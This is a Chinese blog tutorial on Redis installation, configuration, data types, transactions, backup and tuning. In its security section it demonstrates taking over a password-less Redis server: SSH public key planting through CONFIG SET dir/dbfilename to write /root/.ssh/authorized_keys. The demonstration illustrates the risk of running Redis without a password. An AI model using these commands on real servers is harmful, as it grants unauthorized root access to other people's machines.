redis基础知识

原创

江南辉哥 2019-04-09 17:27:22 博主文章分类：数据库 ©著作权

文章标签 redis 文章分类 Redis 数据库

©著作权归作者所有：来自51CTO博客作者江南辉哥的原创作品，请联系作者获取转载授权，否则将追究法律责任

本文介绍：redis的安装及conf的具体参数配置，redis的数据类型，redis的事务，redis的备份与恢复，redis的安全，redis的性能优化等。 安装前准备： 1.关闭操作系统Transparent huge pages功能（透明大页） [root@localhost ~]# cat /sys/kernel/mm/transparent_hugepage/enabled [always] madvise never #临时关闭 [root@localhost ~]# echo never > /sys/kernel/mm/transparent_hugepage/enabled [root@localhost ~]# echo never > /sys/kernel/mm/transparent_hugepage/defrag #永久关闭 [root@localhost ~]# vim /etc/rc.d/rc.local if test -f /sys/kernel/mm/transparent_hugepage/enabled; then echo never > /sys/kernel/mm/transparent_hugepage/enabled fi if test -f /sys/kernel/mm/transparent_hugepage/defrag; then echo never > /sys/kernel/mm/transparent_hugepage/defrag fi #授予执行权限 [root@localhost ~]# chmod +x /etc/rc.d/rc.local 2.允许分配所有物理内存临时设置生效: echo 1 > /proc/sys/vm/overcommit_memory 永久生效: 修改/etc/sysctl.conf文件，增加一行 echo "vm.overcommit_memory = 1" >> /etc/sysctl.conf sysctl -p 3.增加TCP backlog设置值 echo 2048 > /proc/sys/net/core/somaxconn【临时】 vim /etc/rc.d/rc.local 【永久】 echo 2048 > /proc/sys/net/core/somaxconn1. 一，redis安装部署： 下载地址：https://redis.io/download 1.yum install -y wget gcc gcc-c++ make tar openssl openssl-devel cmake 2.cd /usr/local/src wget 'http://download.redis.io/releases/redis-4.0.9.tar.gz' tar -zxf redis-4.0.9.tar.gz cd redis-4.0.9 make #make完后会生成可运行的二进制包，这些包直接拷贝就能够使用 3: redis安装在/usr/local/redis里面 mkdir -pv /usr/local/redis/conf /usr/local/redis/bin cp src/redis-* /usr/local/redis/bin/ #拷贝常用的二进制文件 \rm /usr/local/redis/bin/.c /usr/local/redis/bin/.o cp redis.conf /usr/local/redis/conf/ #拷贝配置文件 4: 验证和软链接的建立 /usr/local/redis/bin/redis-server --version /usr/local/redis/bin/redis-cli --version ln -s /usr/local/redis/bin/redis-cli /usr/local/bin/ #由于redis客户端经常使用，做个软链接安装完后根据报错日志来优化系统参数。 5.查看信息： redis-cli info：查看redis所有信息 redis-cli info Keyspace redis-cli info cpu:查看cpu信息 6.启动redis /usr/local/redis/bin/redis-server /usr/local/redis/redis.conf

二，redis.conf的配置详解 redis.conf配置及CONFIG SET 配置，第二种方式无需重启。

Redis默认不是以守护进程的方式运行，可以通过该配置项修改，使用yes启用守护进程 daemonize no
当Redis以守护进程方式运行时，Redis默认会把pid写入/var/run/redis.pid文件，可以通过pidfile指定 pidfile /var/run/redis.pid
指定Redis监听端口，默认端口为6379，作者在自己的一篇博文中解释了为什么选用6379作为默认端口，因为6379在手机按键上MERZ对应的号码，而MERZ取自意大利歌女Alessia Merz的名字 port 6379
绑定的主机地址 bind 127.0.0.1 5.当客户端闲置多长时间后关闭连接，如果指定为0，表示关闭该功能 timeout 300
指定日志记录级别，Redis总共支持四个级别：debug、verbose、notice、warning，默认为verbose loglevel verbose
日志记录方式，默认为标准输出，如果配置Redis为守护进程方式运行，而这里又配置为日志记录方式为标准输出，则日志将会发送给/dev/null logfile "/data/redis/redis.log"
设置数据库的数量，默认数据库为0，可以使用SELECT <dbid>命令在连接上指定数据库id databases 16
指定在多长时间内，有多少次更新操作，就将数据同步到数据文件，可以多个条件配合 save <seconds> <changes> Redis默认配置文件中提供了三个条件： save 900 1 save 300 10 save 60 10000 分别表示900秒（15分钟）内有1个更改，300秒（5分钟）内有10个更改以及60秒内有10000个更改。
指定存储至本地数据库时是否压缩数据，默认为yes，Redis采用LZF压缩，如果为了节省CPU时间，可以关闭该选项，但会导致数据库文件变的巨大 rdbcompression yes
指定本地数据库文件名，默认值为dump.rdb dbfilename dump.rdb
指定本地数据库存放目录 dir ./
设置当本机为slave服务时，设置master服务的IP地址及端口，在Redis启动时，它会自动从master进行数据同步 slaveof <masterip> <masterport>
当master服务设置了密码保护时，slave服务连接master的密码 masterauth <master-password>
设置Redis连接密码，如果配置了连接密码，客户端在连接Redis时需要通过AUTH <password>命令提供密码，默认关闭 requirepass foobared
设置同一时间最大客户端连接数，默认无限制，Redis可以同时打开的客户端连接数为Redis进程可以打开的最大文件描述符数，如果设置 maxclients 0，表示不作限制。当客户端连接数到达限制时，Redis会关闭新的连接并向客户端返回max number of clients reached错误信息 maxclients 128
指定Redis最大内存限制，Redis在启动时会把数据加载到内存中，达到最大内存后，Redis会先尝试清除已到期或即将到期的Key，当此方法处理后，仍然到达最大内存设置，将无法再进行写入操作，但仍然可以进行读取操作。Redis新的vm机制，会把Key存放内存，Value会存放在swap区 maxmemory <bytes>
指定是否在每次更新操作后进行日志记录，Redis在默认情况下是异步的把数据写入磁盘，如果不开启，可能会在断电时导致一段时间内的数据丢失。因为 redis本身同步数据文件是按上面save条件来同步的，所以有的数据会在一段时间内只存在于内存中。默认为no appendonly no
指定更新日志文件名，默认为appendonly.aof appendfilename appendonly.aof
指定更新日志条件，共有3个可选值： no：表示等操作系统进行数据缓存同步到磁盘（快）； always：表示每次更新操作后手动调用fsync()将数据写到磁盘（慢，安全） everysec：表示每秒同步一次（折中，默认值） appendfsync everysec
指定是否启用虚拟内存机制，默认值为no，简单的介绍一下，VM机制将数据分页存放，由Redis将访问量较少的页即冷数据swap到磁盘上，访问多的页面由磁盘自动换出到内存中（在后面的文章我会仔细分析Redis的VM机制） vm-enabled no
虚拟内存文件路径，默认值为/tmp/redis.swap，不可多个Redis实例共享 vm-swap-file /tmp/redis.swap
将所有大于vm-max-memory的数据存入虚拟内存,无论vm-max-memory设置多小,所有索引数据都是内存存储的(Redis的索引数据就是keys),也就是说,当vm-max-memory设置为0的时候,其实是所有value都存在于磁盘。默认值为0 vm-max-memory 0
Redis swap文件分成了很多的page，一个对象可以保存在多个page上面，但一个page上不能被多个对象共享，vm-page-size是要根据存储的数据大小来设定的，作者建议如果存储很多小对象，page大小最好设置为32或者64bytes；如果存储很大大对象，则可以使用更大的page，如果不确定，就使用默认值 vm-page-size 32
设置swap文件中的page数量，由于页表（一种表示页面空闲或使用的bitmap）是在放在内存中的，，在磁盘上每8个pages将消耗1byte的内存。 vm-pages 134217728
设置访问swap文件的线程数,最好不要超过机器的核数,如果设置为0,那么所有对swap文件的操作都是串行的，可能会造成比较长时间的延迟。默认值为4 vm-max-threads 4
设置在向客户端应答时，是否把较小的包合并为一个包发送，默认为开启 glueoutputbuf yes
指定在超过一定的数量或者最大的元素超过某一临界值时，采用一种特殊的哈希算法 hash-max-zipmap-entries 64 hash-max-zipmap-value 512
指定是否激活重置哈希，默认为开启（后面在介绍Redis的哈希算法时具体介绍） activerehashing yes
指定包含其它的配置文件，可以在同一主机上多个Redis实例之间使用同一份配置文件，而同时各个实例又拥有自己的特定配置文件 include /path/to/local.conf

三，redis数据类型应用示例 1.string 是 redis 最基本的类型，你可以理解成与 Memcached 一模一样的类型，一个 key 对应一个 value。string 类型的值最大能存储 512MB。 2.Redis hash 是一个键值(key=>value)对集合。适用于存储对象。 redis> HSET myhash field1 "Hello" field2 "World" "OK" redis> HGET myhash field1 "Hello" redis> HGET myhash field2 "World" HGETALL myhash :获取所有 3.Redis 列表是简单的字符串列表，按照插入顺序排序。 redis 127.0.0.1:6379> lpush runoob redis (integer) 1 redis 127.0.0.1:6379> lpush runoob mongodb (integer) 2 redis 127.0.0.1:6379> lpush runoob rabitmq (integer) 3 redis 127.0.0.1:6379> lrange runoob 0 10

"rabitmq"
"mongodb"
"redis" redis 127.0.0.1:6379 lrange runoob 0 -1 :获取全部 lrem runoob 0 rabitmq：移除所有的rabitmq元素

4.Redis的Set是string类型的无序集合。这就意味着集合中不能出现重复的数据。添加一个 string 元素到 key 对应的 set 集合中，成功返回1，如果元素已经在集合中返回 0，如果 key 对应的 set 不存在则返回错误。 redis 127.0.0.1:6379> sadd runoob redis (integer) 1 redis 127.0.0.1:6379> sadd runoob mongodb (integer) 1 redis 127.0.0.1:6379> sadd runoob rabitmq (integer) 1 redis 127.0.0.1:6379> sadd runoob rabitmq (integer) 0 redis 127.0.0.1:6379> smembers runoob

"redis"
"rabitmq"
"mongodb"

**注意：redis默认支持16个数据库，客户端与redis建立链接后会自动选择0号数据库。更换数据库，SELECT 1 ;不支持每个数据库设置不同的密码。

这个数据库之间不是完全隔离的，更像是一种命名空间，不适宜存储不同的应用程序的数据。多个库使用场景：使用0库存储应用生产环境的数据，使用1库存储测试环境的数据。由于Redis非常轻量级，一个空Redis实例占用的内在只有1M左右，所以不用担心多个Redis实例会额外占用很多内存。

**四，redis事务： ** Redis 事务可以一次执行多个命令。有非语法类的错误（比如对 String 执行 HSET 操作），无论客户端驱动还是 Redis 都无法在真正执行这条命令之前发现，所以事务中的所有命令仍然会被依次执行。以一个multi开始一个事务，然后将多个入列到事务中，最后执行exec命令触发事务，一并执行事务中的所有命令。 Redis 在接收到 MULTI 命令后便会开启一个事务，这之后的所有读写命令都会保存在队列中但并不执行，直到接收到 EXEC 命令后，Redis 会把队列中的所有命令连续顺序执行，并以数组形式返回每个命令的返回结果。举例： redis 127.0.0.1:6379> MULTI OK

redis 127.0.0.1:6379> SET book-name "Mastering C++ in 21 days" QUEUED

redis 127.0.0.1:6379> GET book-name QUEUED

redis 127.0.0.1:6379> SADD tag "C++" "Programming" "Mastering Series" QUEUED

redis 127.0.0.1:6379> SMEMBERS tag QUEUED

redis 127.0.0.1:6379> EXEC

OK
"Mastering C++ in 21 days"
(integer) 3
1. "Mastering Series"
2. "C++"
3. "Programming"

**五，redis的备份和恢复 ** save 该命令将在 redis 安装目录中创建dump.rdb文件。如果需要恢复数据，只需将备份文件 (dump.rdb) 移动到 redis 安装目录并启动服务即可。获取安装目录： 127.0.0.1:6379> config get dir

"dir"
"/root/software/redis-5.0.4" ** 六，安全 **

127.0.0.1:6379> config get requirepass

"requirepass"
"" 查看当前redis是否设置密码。设置密码： 127.0.0.1:6379> CONFIG set requirepass "runoob" OK 127.0.0.1:6379> CONFIG get requirepass
"requirepass"
"runoob" CONFIG rewrite:把运行的配置加入到配置文件中，不需要重启redis服务。 2.模拟没有密码***redis服务器的方式： (1).客户端（192.168.183.200）生成一个key: ssh-keygen (echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>key.txt cat key.txt|/usr/local/redis/bin/redis-cli -h 192.168.183.129 -p 6379 -x set abc #把200上的公钥文件插入到129的redis上。 (2).然后进入redis设置本地备份路径及数据持久化存储数据的文件。 /usr/local/redis/bin/redis-cli -h 192.168.183.129 -p 6379 192.168.183.129:6379> get abc "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrDg6buBhkQNcSTKdp7sF+qyziS5DgcchohaC8htt0xEkCd0g4OHKP2U1ab8sQvop4bVhpHEho2W7ClBUULSkVo0Y7G6S9Dzo9PmMfvA0Wznk6U9IIgaPb0MlYOsYwbLxYCtIxi/NTbRZG2ORisoUuF2R4dm/HQXM9BKBWaNfK9Mstub/OLJtEb4LqiDlhAMR/MQ6OkmEiuPhON1uroNNwDK1oDxQ0eAuKWBsy2mkoGIBR67rPKw+jrwWIZ7foCH7nWM2FnnSSdzFswx4zQtyjOKW8T3atsaL25whWIsiGjiHx7OXGkTdALv0wqJ3JVafAxl8JtV4M7PQYKbQL6kh3 root@host200\n\n\n\n" 192.168.183.129:6379> config set dir /root/.ssh OK 192.168.183.129:6379> config set dbfilename authorized_keys OK 192.168.183.129:6379> config get dir
"dir"
"/root/.ssh" 192.168.183.129:6379> save 总结：其实就相当于在129上创建了/root/.ssh/authorized_keys文件，并把200上的 id_rsa.pub的内容写入进去。这会就可以不用密码连接上129服务器了 3.禁用危险命令：
FLUSHALL和FLUSHDB会清楚redis的数据，比较危险 KEYS在键多的时候使用会阻塞业务请求在redis.conf添加一下，重启redis服务器，生效 rename-command FLUSHALL "" rename-command FLUSHDB "" rename-command KEYS ""

七，性能优化 Redis 采用单线程模型，所有的命令都是由一个线程串行执行的，所以当某个命令执行耗时较长时，会拖慢其后的所有命令，这使得 Redis 对每个任务的执行效率更加敏感。针对 Redis 的性能优化，主要从下面几个层面入手： ● 最初的也是最重要的，确保没有让 Redis 执行耗时长的命令。 ● 使用 Pipelining 将连续执行的命令组合执行。 ● 操作系统的 Transparent huge pages 功能必须关闭。Transparent HugePages是在运行时动态分配内存的，所以会带来在运行时内存分配延误。 echo never > /sys/kernel/mm/transparent_hugepage/enabled ● 如果在虚拟机中运行 Redis，可能天然就有虚拟机环境带来的固有延迟。可以通过 ./redis-cli –intrinsic-latency 100 命令查看固有延迟。同时如果对 Redis 的性能有较高要求的话，应尽可能在物理机上直接部署 Redis。 ● 检查数据持久化策略。 ● 考虑引入读写分离机制。记录慢日志：Redis 提供了 Slow Log 功能，可以自动记录耗时较长的命令。相关的配置参数有两个： slowlog-log-slower-than xxxms #执行时间慢于xxx毫秒的命令计入Slow Log slowlog-max-len xxx #Slow Log的长度，即最大纪录多少条Slow Log 使用 SLOWLOG GET [number] 命令，可以输出最近进入 Slow Log 的 Mumber 条命令。使用 SLOWLOG RESET 命令，可以重置 Slow Log。